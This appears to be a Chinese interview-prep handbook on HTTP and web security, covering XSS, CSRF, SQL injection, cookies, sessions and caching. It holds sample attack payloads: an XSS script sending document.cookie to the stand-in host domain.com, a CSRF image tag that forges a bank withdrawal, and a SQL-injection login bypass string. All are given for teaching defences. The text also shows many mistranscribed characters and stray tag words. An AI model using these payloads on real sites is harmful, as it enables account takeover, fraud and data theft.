HTTP應知應會知識點複習手冊（下）

時間 2019-11-17

標籤 http 知識複習手冊欄目 HTTP/TCP 简体版

原文原文鏈接

前言

本文快速回顧了常考的的知識點，用做面試複習，事半功倍。javascript

面試知識點複習手冊

全複習手冊文章導航html

Csdn全複習手冊文章導航：java

blog.csdn.net/qqxx6661/ar…node

已發佈知識點複習手冊git

本文參考

本文內容主要參考來自CyC2018的Github倉庫：CS-Notesgithub

有刪減，修改，補充額外增長內容面試

本做品採用知識共享署名-非商業性使用 4.0 國際許可協議進行許可。算法

--------------------正文-----------------------

Web 攻擊技術

跨站腳本攻擊XSS

還可參考：blog.csdn.net/lpjishu/art…sql

1. 概念

跨站腳本攻擊（Cross-Site Scripting, XSS），能夠將代碼注入到用戶瀏覽的網頁上，這種代碼包括 HTML 和 JavaScript。數據庫

例若有一個論壇網站，攻擊者能夠在上面發佈如下內容：

<script>location.href="//domain.com/?c=" + document.cookie</script>
複製代碼

以後該內容可能會被渲染成如下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
複製代碼

另外一個用戶瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前做用域的 Cookie。若是這個論壇網站經過 Cookie 管理用戶登陸狀態，那麼攻擊者就能夠經過這個 Cookie 登陸被攻擊者的帳號了。

2. 危害

竊取用戶的 Cookie 值
僞造虛假的輸入表單騙取我的信息
顯示僞造的文章或者圖片

3. 防範手段

（一）設置 Cookie 爲 HttpOnly

設置了 HttpOnly 的 Cookie 能夠防止 JavaScript 腳本調用，在必定程度上能夠防止 XSS 竊取用戶的 Cookie 信息。

（二）過濾特殊字符

許多語言都提供了對 HTML 的過濾：

PHP 的 htmlentities() 或是 htmlspecialchars()。
Python 的 cgi.escape()。
Java 的 xssprotect (Open Source Library)。
Node.js 的 node-validator。

例如 htmlspecialchars() 能夠將 < 轉義爲 <，將 > 轉義爲 >，從而避免 HTML 和 Javascript 代碼的運行。

（三）富文本編輯器的處理

富文本編輯器容許用戶輸入 HTML 代碼，就不能簡單地將 < 等字符進行過濾了，極大地提升了 XSS 攻擊的可能性。

富文本編輯器一般採用 XSS filter 來防範 XSS 攻擊，能夠定義一些標籤白名單或者黑名單，從而不容許有攻擊性的 HTML 代碼的輸入。

如下例子中，form 和 script 等標籤都被轉義，而 h 和 p 等標籤將會保留。

XSS 過濾在線測試

跨站請求僞造CSRF

XSS 利用的是用戶對指定網站的信任，CSRF 利用的是網站對用戶瀏覽器的信任。

1. 概念

跨站請求僞造（Cross-site request forgery，CSRF），是攻擊者經過一些技術手段欺騙用戶的瀏覽器去訪問一個本身曾經認證過的網站並執行一些操做（如發郵件，發消息，甚至財產操做如轉帳和購買商品）。因爲瀏覽器曾經認證過，因此被訪問的網站會認爲是真正的用戶操做而去執行。這利用了 Web 中用戶身份驗證的一個漏洞：簡單的身份驗證只能保證請求發自某個用戶的瀏覽器，卻不能保證請求自己是用戶自願發出的。

假如一家銀行用以執行轉帳操做的 URL 地址以下：

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
複製代碼

那麼，一個惡意攻擊者能夠在另外一個網站上放置以下代碼：

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
複製代碼

若是有帳戶名爲 Alice 的用戶訪問了惡意站點，而她以前剛訪問過銀行不久，登陸信息還沒有過時，那麼她就會損失 1000 資金。

這種惡意的網址能夠有不少種形式，藏身於網頁中的許多地方。此外，攻擊者也不須要控制放置惡意網址的網站。例如他能夠將這種地址藏在論壇，博客等任何用戶生成內容的網站中。這意味着若是服務器端沒有合適的防護措施的話，用戶即便訪問熟悉的可信網站也有受攻擊的危險。

透過例子可以看出，攻擊者並不能經過 CSRF 攻擊來直接獲取用戶的帳戶控制權，也不能直接竊取用戶的任何信息。他們能作到的，是欺騙用戶瀏覽器，讓其以用戶的名義執行操做。

2. 防範手段

（一）檢查 Referer 字段

HTTP 頭中有一個 Referer 字段，這個字段用於標明請求來源於哪一個地址。在處理敏感數據請求時，一般來講，Referer 字段應和請求的地址位於同一域名下，但並沒有法保證來訪的瀏覽器的具體實現，亦沒法保證瀏覽器沒有安全漏洞影響到此字段。而且也存在攻擊者攻擊某些瀏覽器，篡改其 Referer 字段的可能。

（二）添加校驗 Token

因爲 CSRF 的本質在於攻擊者欺騙用戶去訪問本身設置的地址，因此若是要求在訪問敏感數據請求時，要求用戶瀏覽器提供不保存在 Cookie 中，而且攻擊者沒法僞造的數據做爲校驗，那麼攻擊者就沒法再執行 CSRF 攻擊。這種數據一般是表單中的一個數據項。服務器將其生成並附加在表單中，其內容是一個僞亂數。當客戶端經過表單提交請求時，這個僞亂數也一併提交上去以供校驗。

正常的訪問時，客戶端瀏覽器可以正確獲得並傳回這個僞亂數，而經過 CSRF 傳來的欺騙性攻擊中，攻擊者無從事先得知這個僞亂數的值，服務器端就會由於校驗 Token 的值爲空或者錯誤，拒絕這個可疑請求。

（三）要求用戶輸入驗證碼來進行校驗。

SQL 注入攻擊

1. 概念

服務器上的數據庫運行非法的 SQL 語句，主要經過拼接來完成。

2. 攻擊原理

例如一個網站登陸驗證的 SQL 查詢代碼爲：

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
複製代碼

若是填入如下內容：

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
複製代碼

那麼 SQL 查詢字符串爲：

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
複製代碼

此時無需驗證經過就能執行如下查詢：

strSQL = "SELECT * FROM users;"
複製代碼

3. 防範手段

（一）使用參數化查詢（不進行拼接）

如下以 Java 中的 PreparedStatement 爲例，它是預先編譯的 SQL 語句，能夠傳入適當參數而且屢次執行。因爲沒有拼接的過程，所以能夠防止 SQL 注入的發生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
複製代碼

（二）單引號轉換

將傳入的參數中的單引號轉換爲連續兩個單引號

（三）檢查變量數據類型和格式

拒絕服務攻擊

拒絕服務攻擊（denial-of-service attack，DoS），亦稱洪水攻擊，其目的在於使目標電腦的網絡或系統資源耗盡，使服務暫時中斷或中止，致使其正經常使用戶沒法訪問。

分佈式拒絕服務攻擊（distributed denial-of-service attack，DDoS），指攻擊者使用網絡上兩個或以上被攻陷的電腦做爲「殭屍」向特定的目標發動「拒絕服務」式攻擊。

維基百科：拒絕服務攻擊

基礎概念

URI

URI 包含 URL 和 URN。

URI（Uniform Resource Identifier，統一資源標識符）
URL（Uniform Resource Locator，統一資源定位符）
URN（Uniform Resource Name，統一資源名稱）

HTTP請求報文和HTTP響應報文

HTTP請求報文

一個HTTP請求報文由請求行（request line）、請求頭部（header）、空行和請求數據4個部分組成，下圖給出了請求報文的通常格式。

＜request-line＞ 請求行
＜headers＞ 請求頭
＜blank line＞ 空格
＜request-body＞ 請求數據
複製代碼

HTTP響應報文

HTTP響應也由三個部分組成，分別是：狀態行、消息報頭、響應正文。

＜status-line＞
＜headers＞
＜blank line＞
＜response-body＞
複製代碼

GET

獲取資源

當前網絡請求中，絕大部分使用的是 GET 方法。

HEAD

獲取報文首部

和 GET 方法同樣，可是不返回報文實體主體部分。

主要用於確認 URL 的有效性以及資源更新的日期時間等。

POST

傳輸實體主體

POST 主要用來傳輸數據，而 GET 主要用來獲取資源。

更多 POST 與 GET 的比較請見第八章。

PUT

上傳文件

因爲自身不帶驗證機制，任何人均可以上傳文件，所以存在安全性問題，通常不使用該方法

PATCH

對資源進行部分修改

PUT 也能夠用於修改資源，可是隻能徹底替代原始資源，PATCH 容許部分修改。

DELETE

刪除文件

與 PUT 功能相反，而且一樣不帶驗證機制。

DELETE /file.html HTTP/1.1
複製代碼

OPTIONS

查詢支持的方法

查詢指定的 URL 可以支持的方法。

會返回 Allow: GET, POST, HEAD, OPTIONS 這樣的內容。

CONNECT

要求用隧道協議鏈接代理

要求在與代理服務器通訊時創建隧道，使用 SSL（Secure Sockets Layer，安全套接層）和 TLS（Transport Layer Security，傳輸層安全）協議把通訊內容加密後經網絡隧道傳輸。

TRACE

追蹤路徑

服務器會將通訊路徑返回給客戶端。

發送請求時，在 Max-Forwards 首部字段中填入數值，每通過一個服務器就會減 1，當數值爲 0 時就中止傳輸。

一般不會使用 TRACE，而且它容易受到 XST 攻擊（Cross-Site Tracing，跨站追蹤），所以更不會去使用它。

HTTP Header

有 4 種類型的首部字段：通用首部字段、請求首部字段、響應首部字段和實體首部字段。

各類首部字段及其含義以下（不須要全記，僅供查閱）：

通用首部字段

首部字段名	說明
Cache-Control	控制緩存的行爲
Connection	控制再也不轉發給代理的首部字段、管理持久鏈接
Date	建立報文的日期時間
Pragma	報文指令
Trailer	報文末端的首部一覽
Transfer-Encoding	指定報文主體的傳輸編碼方式
Upgrade	升級爲其餘協議
Via	代理服務器的相關信息
Warning	錯誤通知

請求首部字段

首部字段名	說明
Accept	用戶代理可處理的媒體類型
Accept-Charset	優先的字符集
Accept-Encoding	優先的內容編碼
Accept-Language	優先的語言（天然語言）
Authorization	Web 認證信息
Expect	期待服務器的特定行爲
From	用戶的電子郵箱地址
Host	請求資源所在服務器
If-Match	比較實體標記（ETag）
If-Modified-Since	比較資源的更新時間
If-None-Match	比較實體標記（與 If-Match 相反）
If-Range	資源未更新時發送實體 Byte 的範圍請求
If-Unmodified-Since	比較資源的更新時間（與 If-Modified-Since 相反）
Max-Forwards	最大傳輸逐跳數
Proxy-Authorization	代理服務器要求客戶端的認證信息
Range	實體的字節範圍請求
Referer	對請求中 URI 的原始獲取方
TE	傳輸編碼的優先級
User-Agent	HTTP 客戶端程序的信息

響應首部字段

首部字段名	說明
Accept-Ranges	是否接受字節範圍請求
Age	推算資源建立通過時間
ETag	資源的匹配信息
Location	令客戶端重定向至指定 URI
Proxy-Authenticate	代理服務器對客戶端的認證信息
Retry-After	對再次發起請求的時機要求
Server	HTTP 服務器的安裝信息
Vary	代理服務器緩存的管理信息
WWW-Authenticate	服務器對客戶端的認證信息

實體首部字段

首部字段名	說明
Allow	資源可支持的 HTTP 方法
Content-Encoding	實體主體適用的編碼方式
Content-Language	實體主體的天然語言
Content-Length	實體主體的大小
Content-Location	替代對應資源的 URI
Content-MD5	實體主體的報文摘要
Content-Range	實體主體的位置範圍
Content-Type	實體主體的媒體類型
Expires	實體主體過時的日期時間
Last-Modified	資源的最後修改日期時間

具體應用

Cookie

HTTP/1.1 引入 Cookie 來保存狀態信息。

1. 用途

會話狀態管理（如用戶登陸狀態、購物車、遊戲分數或其它須要記錄的信息）
個性化設置（如用戶自定義設置、主題等）
瀏覽器行爲跟蹤（如跟蹤分析用戶行爲等）

因爲服務器指定 Cookie 後，瀏覽器的每次請求都會攜帶 Cookie 數據，會帶來額外的性能開銷（尤爲是在移動環境下）。

新的瀏覽器 API 已經容許開發者直接將數據存儲到本地，如使用 Web storage API （本地存儲和會話存儲）或 IndexedDB。

2. 建立過程

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
複製代碼

客戶端以後對同一個服務器發送請求時，會從瀏覽器中取出 Cookie 信息並經過 Cookie 請求首部字段發送給服務器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
複製代碼

3. 分類

會話期 Cookie：瀏覽器關閉以後它會被自動刪除，也就是說它僅在會話期內有效。
持久性 Cookie：指定一個特定的過時時間（Expires）或有效期（Max-Age）以後就成爲了持久性的 Cookie。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製代碼

4. 做用域

Domain 標識指定了哪些主機能夠接受 Cookie。若是不指定，默認爲當前文檔的主機（不包含子域名）。若是指定了 Domain，則通常包含子域名。例如，若是設置 Domain=mozilla.org，則 Cookie 也包含在子域名中（如 developer.mozilla.org）。

Path 標識指定了主機下的哪些路徑能夠接受 Cookie（該 URL 路徑必須存在於請求 URL 中）。以字符 %x2F ("/") 做爲路徑分隔符，子路徑也會被匹配。例如，設置 Path=/docs，則如下地址都會匹配：

/docs
/docs/Web/
/docs/Web/HTTP

5. JavaScript

經過 Document.cookie 屬性可建立新的 Cookie，也可經過該屬性訪問非 HttpOnly 標記的 Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
複製代碼

6. Secure 和 HttpOnly

標記爲 Secure 的 Cookie 只應經過被 HTTPS 協議加密過的請求發送給服務端。但即使設置了 Secure 標記，敏感信息也不該該經過 Cookie 傳輸，由於 Cookie 有其固有的不安全性，Secure 標記也沒法提供確實的安全保障。
標記爲 HttpOnly 的 Cookie 不能被 JavaScript 腳本調用。由於跨域腳本 (XSS) 攻擊經常使用 JavaScript 的 Document.cookie API 竊取用戶的 Cookie 信息，所以使用 HttpOnly 標記能夠在必定程度上避免 XSS 攻擊。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
複製代碼

7. Session和cookie選擇

除了能夠將用戶信息經過 Cookie 存儲在用戶瀏覽器中，也能夠利用 Session 存儲在服務器端，存儲在服務器端的信息更加安全。

Session 能夠存儲在服務器上的文件、數據庫或者內存中。也能夠將 Session 存儲在 Redis 這種內存型數據庫中，效率會更高。

使用 Session 維護用戶登陸狀態的過程以下：

用戶進行登陸時，用戶提交包含用戶名和密碼的表單，放入 HTTP 請求報文中；
服務器驗證該用戶名和密碼，若是正確則把用戶信息存儲到 Redis 中，它在 Redis 中的 Key 稱爲 Session ID；
服務器返回的響應報文的 Set-Cookie 首部字段包含了這個 Session ID，客戶端收到響應報文以後將該 Cookie 值存入瀏覽器中；
客戶端以後對同一個服務器進行請求時會包含該 Cookie 值，服務器收到以後提取出 Session ID，從 Redis 中取出用戶信息，繼續以前的業務操做。

應該注意 Session ID 的安全性問題，不能讓它被惡意攻擊者輕易獲取，那麼就不能產生一個容易被猜到的 Session ID 值。此外，還須要常常從新生成 Session ID。在對安全性要求極高的場景下，例如轉帳等操做，除了使用 Session 管理用戶狀態以外，還須要對用戶進行從新驗證，好比從新輸入密碼，或者使用短信驗證碼等方式。

從存儲方式上比較
- Cookie只能存儲字符串，若是要存儲非ASCII字符串還要對其編碼。
- Session能夠存儲任何類型的數據，能夠把Session當作是一個容器
從隱私安全上比較
- Cookie存儲在瀏覽器中，對客戶端是可見的。信息容易泄露出去。若是使用Cookie，最好將Cookie加密
- Session存儲在服務器上，對客戶端是透明的。不存在敏感信息泄露問題。
從有效期上比較
- Cookie保存在硬盤中，只須要設置maxAge屬性爲比較大的正整數，即便關閉瀏覽器，Cookie仍是存在的
- Session的保存在服務器中，設置maxInactiveInterval屬性值來肯定Session的有效期。而且Session依賴於名爲JSESSIONID的Cookie，該Cookie默認的maxAge屬性爲-1。若是關閉了瀏覽器，該Session雖然沒有從服務器中消亡，但也就失效了。
從對服務器的負擔比較
- Session是保存在服務器的，每一個用戶都會產生一個Session，若是是併發訪問的用戶很是多，是不能使用Session的，Session會消耗大量的內存。
- Cookie是保存在客戶端的。不佔用服務器的資源。像baidu、Sina這樣的大型網站，通常都是使用Cookie來進行會話跟蹤。
從瀏覽器的支持上比較
- 若是瀏覽器禁用了Cookie，那麼Cookie是無用的了！
- 若是瀏覽器禁用了Cookie，Session能夠經過URL地址重寫來進行會話跟蹤。
從跨域名上比較
- Cookie能夠設置domain屬性來實現跨域名
- Session只在當前的域名內有效，不可誇域名

緩存

1. 優勢

緩解服務器壓力；
減低客戶端獲取資源的延遲（緩存資源比服務器上的資源離客戶端更近）。

2. 實現方法

讓代理服務器進行緩存；
讓客戶端瀏覽器進行緩存。

3. Cache-Control

HTTP/1.1 經過 Cache-Control 首部字段來控制緩存。

（一）禁止進行緩存

no-store 指令規定不能對請求或響應的任何一部分進行緩存。

Cache-Control: no-store
複製代碼

（二）強制確認緩存

no-cache 指令規定緩存服務器須要先向源服務器驗證緩存資源的有效性，只有當緩存資源有效纔將能使用該緩存對客戶端的請求進行響應。

Cache-Control: no-cache
複製代碼

（三）私有緩存和公共緩存

private 指令規定了將資源做爲私有緩存，只能被單獨用戶所使用，通常存儲在用戶瀏覽器中。

Cache-Control: private
複製代碼

public 指令規定了將資源做爲公共緩存，能夠被多個用戶所使用，通常存儲在代理服務器中。

Cache-Control: public
複製代碼

（四）緩存過時機制

max-age 指令出如今請求報文中，而且緩存資源的緩存時間小於該指令指定的時間，那麼就能接受該緩存。

max-age 指令出如今響應報文中，表示緩存資源在緩存服務器中保存的時間。

Cache-Control: max-age=31536000
複製代碼

Expires 字段也能夠用於告知緩存服務器該資源何時會過時。在 HTTP/1.1 中，會優先處理 Cache-Control : max-age 指令；而在 HTTP/1.0 中，Cache-Control : max-age 指令會被忽略掉。

Expires: Wed, 04 Jul 2012 08:26:05 GMT
複製代碼

4. 緩存驗證

須要先了解 ETag 首部字段的含義，它是資源的惟一表示。URL 不能惟一表示資源，例如 http://www.google.com/ 有中文和英文兩個資源，只有 ETag 才能對這兩個資源進行惟一表示。

ETag: "82e22293907ce725faf67773957acd12"
複製代碼

能夠將緩存資源的 ETag 值放入 If-None-Match 首部，服務器收到該請求後，判斷緩存資源的 ETag 值和資源的最新 ETag 值是否一致，若是一致則表示緩存資源有效，返回 304 Not Modified。

If-None-Match: "82e22293907ce725faf67773957acd12"
複製代碼

Last-Modified 首部字段也能夠用於緩存驗證，它包含在源服務器發送的響應報文中，指示源服務器對資源的最後修改時間。可是它是一種弱校驗器，由於只能精確到一秒，因此它一般做爲 ETag 的備用方案。若是響應首部字段裏含有這個信息，客戶端能夠在後續的請求中帶上 If-Modified-Since 來驗證緩存。服務器只在所請求的資源在給定的日期時間以後對內容進行過修改的狀況下才會將資源返回，狀態碼爲 200 OK。若是請求的資源從那時起未經修改，那麼返回一個不帶有消息主體的 304 Not Modified 響應，

Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
複製代碼

If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
複製代碼

鏈接管理

1. 短鏈接與長鏈接

HTTP/1.1 開始默認是長鏈接的，若是要斷開鏈接，須要由客戶端或者服務器端提出斷開，使用 Connection : close；
HTTP/1.1 以前默認是短鏈接的，若是須要長鏈接，則使用 Connection : Keep-Alive。

2. 流水線

默認狀況下，HTTP 請求是按順序發出的，下一個請求只有在當前請求收到應答事後纔會被髮出。因爲會受到網絡延遲和帶寬的限制，在下一個請求被髮送到服務器以前，可能須要等待很長時間。

流水線是在同一條長鏈接上發出連續的請求，而不用等待響應返回，這樣能夠避免鏈接延遲。

內容協商

經過內容協商返回最合適的內容，例如根據瀏覽器的默認語言選擇返回中文界面仍是英文界面。

1. 類型

1.1 服務端驅動型

客戶端設置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服務器根據這些字段返回特定的資源。

它存在如下問題：

服務器很難知道客戶端瀏覽器的所有信息；
客戶端提供的信息至關冗長（HTTP/2 協議的首部壓縮機制緩解了這個問題），而且存在隱私風險（HTTP 指紋識別技術）；
給定的資源須要返回不一樣的展示形式，共享緩存的效率會下降，而服務器端的實現會愈來愈複雜。

1.2 代理驅動型

服務器返回 300 Multiple Choices 或者 406 Not Acceptable，客戶端從中選出最合適的那個資源。

2. Vary

Vary: Accept-Language
複製代碼

在使用內容協商的狀況下，只有當緩存服務器中的緩存知足內容協商條件時，才能使用該緩存，不然應該向源服務器請求該資源。

例如，一個客戶端發送了一個包含 Accept-Language 首部字段的請求以後，源服務器返回的響應包含 Vary: Accept-Language 內容，緩存服務器對這個響應進行緩存以後，在客戶端下一次訪問同一個 URL 資源，而且 Accept-Language 與緩存中的對應的值相同時纔會返回該緩存。

內容編碼

內容編碼將實體主體進行壓縮，從而減小傳輸的數據量。經常使用的內容編碼有：gzip、compress、deflate、identity。

瀏覽器發送 Accept-Encoding 首部，其中包含有它所支持的壓縮算法，以及各自的優先級，服務器則從中選擇一種，使用該算法對響應的消息主體進行壓縮，而且發送 Content-Encoding 首部來告知瀏覽器它選擇了哪種算法。因爲該內容協商過程是基於編碼類型來選擇資源的展示形式的，在響應中，Vary 首部中至少要包含 Content-Encoding，這樣的話，緩存服務器就能夠對資源的不一樣展示形式進行緩存。

範圍請求

若是網絡出現中斷，服務器只發送了一部分數據，範圍請求可使得客戶端只請求服務器未發送的那部分數據，從而避免服務器從新發送全部數據。

1. Range

在請求報文中添加 Range 首部字段指定請求的範圍。

GET /z4d4kWk.jpg HTTP/1.1
Host: i.imgur.com
Range: bytes=0-1023
複製代碼

請求成功的話服務器返回的響應包含 206 Partial Content 狀態碼。

2. Accept-Ranges

響應首部字段 Accept-Ranges 用於告知客戶端是否能處理範圍請求，能夠處理使用 bytes，不然使用 none。

Accept-Ranges: bytes
複製代碼

3. 響應狀態碼

在請求成功的狀況下，服務器會返回 206 Partial Content 狀態碼。
在請求的範圍越界的狀況下，服務器會返回 416 Requested Range Not Satisfiable 狀態碼。
在不支持範圍請求的狀況下，服務器會返回 200 OK 狀態碼。

分塊傳輸編碼

Chunked Transfer Coding，能夠把數據分割成多塊，讓瀏覽器逐步顯示頁面。

多部分對象集合

一份報文主體內可含有多種類型的實體同時發送，每一個部分之間用 boundary 字段定義的分隔符進行分隔，每一個部分均可以有首部字段。

例如，上傳多個表單時可使用以下方式：

Content-Type: multipart/form-data; boundary=AaB03x

--AaB03x
Content-Disposition: form-data; name="submit-name"

Larry
--AaB03x
Content-Disposition: form-data; name="files"; filename="file1.txt"
Content-Type: text/plain

... contents of file1.txt ...
--AaB03x--
複製代碼